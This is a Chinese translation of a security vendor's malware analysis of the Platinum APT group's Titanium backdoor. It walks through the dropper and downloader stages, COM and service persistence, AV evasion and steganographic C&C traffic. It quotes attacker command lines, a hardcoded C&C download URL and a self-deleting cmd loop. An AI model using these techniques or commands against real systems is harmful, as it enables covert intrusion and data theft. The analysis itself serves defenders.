Platinum 是全球专攻亚太区的技术最先进的APT组织之一。卡巴斯基实验室在最近的分析中发现 Platinum APT 组织使用新后门 Titanium(卡巴根据其自我执行的存档文件文件所使用的一个密码而给出的命名)。该后门是经过一系列释放、下载和安装阶段之后的最终结果,它通过模拟常用软件(和防护相关的软件、声音驱动软件、DVD 视频创建工具)在每一步都将自己深藏。如下是博客正文,由奇安信代码卫士团队编译。
受害者
研究人员发现该后门的目标位于南亚和东南亚地区。
引言
Titanium APT组织包含一系列复杂的释放、下载和安装阶段,将部署后门Trojan后门作为最后一个步骤。该系统几乎每一步都在模拟已知软件如安全软件、制作 DVD 视频的软件以及声音驱动软件等。
该恶意软件在每种情况下的默认传播情况都是:
1、能够以系统用户身份执行代码的exploit
2、用于下载下一个下载程序的shellcode
3、用于下载包含Windows 任务安装脚本的 SFX 文档的下载程序
4、受密码保护的含有Trojan后门安装程序的 SFX 文档
5、一个安装程序脚本(ps1)
6、一个 COM 对象 DLL(一个加载器)
7、Trojan后门本身
感染向量
我们认为Titanium APT 使用含有恶意代码的本地内部网站开始传播。
1、shellcode
该APT组织另外一种已知的传播方式是使用需要被注入到某进程中的 shellcode。本案例中,这个进程是 winlogon.exe。遗憾的是,我们不知道这个 shellcode 是如何被注入的。我们在本文中描述了该 shellcode 的情况。
2、Wrapper DLL
攻击者使用多种形式的“Wrappers(封装程序)”。通常每个 wrapper 都是一个具有相应导出函数的 COM DLL。这些库的主要目的是解密并加载加密文件(此前被释放到某处)到系统内存(payload)中,之后将对wrapper 本身的调用重定向到 payload 的导出函数中。
另外一种wrapper DLL 旨在从由调用者传递的导出函数的参数中获取命令行并创建一个新进程。
3、Windows 任务安装程序(SFX存档文件)
它是一个用密码加密的 SFX 存档文件,可通过 BITS下载程序下载。改密码被硬编码到这款下载程序中,而下载程序用于通过–p 米宁杭参数来解密该 SFX 存档文件。
该存档文件的一个主要特征是包含被编译成 DLL的cURL 可执行代码,目的是安装 Windows 任务,在受感染系统中建立持久性。
4、Trojan后门安装程序(SFX存档文件)
后门本身使用了SFX存档文件,而该存档文件必须从使用了解压密码的命令行中启动。所有的路径案例将用于DVD制作软件。然而,它们也可以用于其它已知的软件路径。
5、BITS 下载程序
该组件用于从 C&C 服务器中下载加密文件,之后解密并启动。
Shellcode 说明
Shellcode 本身包含与位置无关的代码而且并不要求此前加载的库(除了 Kernel32.dll)。它的唯一目的是连接到硬编码的 C&C 地址、下载加密 payload(受密码保护的 SFX 存档文件),之后通过硬编码的解密密码解密并启动。通常的命令行如下:
"rundll32 "$temp\IOZwXLeM023.tmp",GetVersionInfo -t 06xwsrdrub2i84n6map3li3vz3h9bh4vfgcw"
BITS 下载程序说明
BITS 下载程序是一个 DLL 文件,它只有一个导出函数:GetersionInfoA。这个库的主要目的是从 C&C 中下载并启动加密文件。
执行顺序
这款下载程序做的第一件事是查看它是否以系统用户身份启动。如是,则使用 WMI启动命令行参数(该参数被传递到下载程序 DLL 加载的二进制中)。如不是,则下载程序将命令行参数传递到参数解析器中。
参数解析器
键 |
参数描述 |
-c URL |
说明系统信息被发送的具体 URL 地址 |
-t STRING |
将被附加到一个C&C请求字符串的另外一个字符串 |
-u URL |
确认 URL。下载程序将把多种确认或请求数据发送到该 URL。也有可能在其它两个确认URL 中构建。 |
-br GUID |
阻止 payload 下载。GUID 参数必须提供一个下载任务 GUID。 |
如果存在以上参数中的其中一种参数,下载程序将手机关于所安装杀毒产品的信息并将其发送给 C&C。之后,它将下载请求发送给确认 URL。而 C&C 则发送将被下载到目录 %USERPROFILE% 中的文件。
要解密所下载的文件,下载程序使用了字符串加密密钥的 MD5 哈希。
确认 URL 请求和文件下载
默认(硬编码)URL:http://70.39.115.196/payment/confirm.gif
该请求是如下字符串:
-
http://70.39.115.196/payment/confirm.gif?f=1(x86)
-
http://70.39.115.196/payment/confirm.gif?f=2 (x64)
Payload 解密和启动
加密文件的结构如下:
typedef struct {
byte hash[16]; // md5 hash of the following data
dword data_size;
byte data[data_size];
} enc_data;
该下载程序对照数据字段哈希的MD5计算结果检查哈希字段是否正确,如果哈希正确,则执行以下操作:
-
附加扩展(DLL或EXE,根据数据类型决定)
-
将下载的文件存储在%TMP% 文件夹中,且将文件名命名为: %(SystemTimeAsFileTime.dwLowDateTime).%TMP。
接着,该下载程序制定启动该下载文件的命令行。如果该文件是 DLL,则最终的命令行将是:
"%systemroot%\system32\rundll32.exe %(SystemTimeAsFileTime.dwLowDateTime)%.TMP,-peuwewh383eg-t 06xwsrdrub2i84n6map3li3vz3h9bh4vfgcw"
如果文件是 EXE 文件:
%(SystemTimeAsFileTime.dwLowDateTime)%.TMP-peuwewh383eg-t 06xwsrdrub2i84n6map3li3vz3h9bh4vfgcw
之后,下载程序使用如下命令行删除自己:
/c for /L %i in (1,1,100) do ( for /L %k in (1,1,100) do (del /f /q module_path > NUL & ifnot exist module_path exit /b 0))
文件启动
要启动所下载的文件,下载程序使用 WMI 类 Win32_ProcessStartup、Win32_Process 及其方法和字段。
使用 BITS 下载文件
要下载文件,下载程序使用 BITS 服务及其 COM 接口 IBackgroundCopyManager。它创建名为 Microsoft Download 的任务,之后指定远程和本地文件路径及超时设定。
Windows 任务安装(具有 cURL 的 SFX 存档文件)
它包含:
名称 |
描述 |
p.bat |
启动 cURL 并混淆ps1 脚本 |
c.dll |
被编译为 DLL 的cURL 可执行文件 (7.50.3) |
f1.ps1 |
向 C&C 发出第一次请求时将被执行;解密x.dat |
f2.ps1 |
向 C&C 发出第二次请求时将被执行;解密 b.dat |
e.ps1 |
包含的代码计算 HTTP 头部授权字段的字符串 |
h.ps1 |
获取系统代理设置信息 |
e.dll |
只有一个导出函数的 DLL 文件;调用CreateProcessA |
它下载:
源文件 |
下载且解密的文件 |
描述 |
x.dat |
u.xml |
AES 加密文件(见 f1.ps1 了解解密算法) |
b.dat |
i.bat |
AES 加密文件(解密算法相同) |
结果:
名称 |
描述 |
i.bat |
执行 Windows 任务安装 |
当调用者(上一步)执行这个存档文件时,必须指定两个参数:
参数 |
描述 |
-pKEY |
解压 SFX 存档文件的键参数 |
-t ACCEPTANCE_ID_STRING |
具有长字符串的参数——AcceptanceID (曾用于 C&C 请求中) |
p.bat
它启动 h.ps1 脚本,获取关于系统代理设置的信息。之后启动 e.ps1脚本计算将被用于C&C 请求中的 SystemID。
它使用 c.dll(即 cURL,且具有导入函数 DllGetClassObject)发送请求。
请求1
命令行参数:
其中:
参数 |
描述 |
%pp% |
系统代理 |
%output% |
SystemID |
%p3% |
AcceptanceID |
该请求下载x.dat 文件,而f1.ps1 脚本将其解密到u.xml 中,之后启动下一个请求。
请求2
命令行参数:
它下载b.dat 文件,而f2.ps1 脚本将其解密到i.bat(使用相同的解密算法)中。
任务安装
之后,它启动如下命令行,安装持久性任务:
i.bat 文件使用此前解密的 u.xml 文件作为任务描述。
Trojan 后门安装程序
该存档文件将文件解压到如下文件夹中(在DVD 制作软件中的情况):
存档文件本身包含:
名称 |
描述 |
BabyBoyStyleBackground.wmv |
配置数据 |
DvDupdate.dll |
Trojan-后门加载程序 |
nav_downarrow.png |
Trojan后门 |
psinstrc.ps1 |
加载程序安装脚本 |
在模拟音频驱动软件的情况下,和DVD 制作软件的唯一不同之处在于安装方法:ps1脚本使用了两个已知 CLSID 用恶意路径替代其 COM DLL 路径。
Psinstrc.ps1
该安装程序脚本将DvDupdate.dll 注册为“DVDMakerHelp”服务,并将它的入口点设置为 DllGetClassObject 名称。要正确执行,必须拥有管理员权限。
该脚本包含多个配置参数,因此可以很容易地为不同的系统修改任意一个所要求的参数。
安装加载程序的方式有两种:
-
系统服务,将 DllGetClassObject导出函数作为ServiceMain 函数
-
COM 对象,通过自身取代现有的 CLSID 注册表路径
DvDupdate.dll
它是一个服务 DLL,但具备 COM 对象中所拥有的所有相同的导出。它本质上是一个 payload 加载程序。
整段代码都被不同的Windows API 调用和循环所混淆。它的目的并非是混淆逆向工程师或者让逆向工程工作变得更加困难,而是绕过某些简单的杀软枚举引擎。
每个 COM 对象所导出的第一个函数都是DllGetClassObject。
DllGetClassObject
该下载程序创建解密payload的现成,恢复期 PE 和 MZ 头部信息,之后将其加载到内存中并启动。该 payload 通过 AES 256 CBC 加密。该解密密钥和其它加密字符串进行了硬编码。它并不包含‘MZ’和‘PE’标签,从而使其能够绕过简单的杀软引擎。初始化该 payload 之后,加载程序通过 ordinal 1调用函数。
Nav_downarrow.png
这个具有后门功能的payload是一个 DLL 文件。该恶意软件的功能仅为第一个导入的条目。
Nav_downarrow.png—Ordinal 1(Trojan 后门的主函数)
它做的第一件事是解密 SFX 内容中的另外一个加密的二进制(包含配置信息)。
该配置本身被分成数个块,每个块都有自己的索引。Payload 使用这些索引获取特定的item。配置包括:
-
C&C 地址
-
流量加密密钥
-
UserAgent 字符串
-
其它不太重要的参数
执行线程
执行线程负责接收C&C 服务器的命令并发送响应。它包含一个执行循环,从读取配置 item #00 开始来获取 C&C 地址。
初始化 C&C 通信
要初始化C&C 连接,payload发送了包含唯一SystemID 、计算机名称和硬盘序列号的 base64 编码请求。之后,恶意软件开始接收命令。
接收命令
要从C&C接收命令,payload向C&C 发送一个空请求。它通过配置中的 UserAgent 字符串和一个特殊的cookie 生成算法准备请求。该恶意软件还能够从 IE浏览器获得代理设置。
要响应该请求,C&C以一份包含通过隐写术隐藏数据的 PNG 文件进行应答。该数据的加密密钥和 C&C 请求的加密密钥一样。解密的数据包含后门命令和参数。
PNG 文件如下:
C&C 命令处理器(命令描述)
该后门可以接受多种不同的命令,如下是最有意思的几个:
-
从文件系统中读取文件并将其发送给 C&C
-
在文件系统中释放或删除文件
-
释放并运行文件
-
运行命令行并向C&C 发送执行结果
-
更新配置参数(除 AES 加密密钥外)
-
交互模式,使攻击者能够从面板程序中接收输入并向 C&C 发送输出
结论
Titanium APT 的渗透图式非常复杂。它涉及无数步骤并要求对这些步骤进行很好的协调。另外,由于使用了机密和无文件技术,文件系统中无一文件会被检测为恶意文件。而模拟著名软件的行为使得检测越发困难。
目前,我们尚未检测到由Titanium APT 组织发动的攻击活动。
原文链接
文内图:卡巴
声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表士冗科技立场,转载目的在于传递更多信息。如有侵权,请联系 service@expshell.com。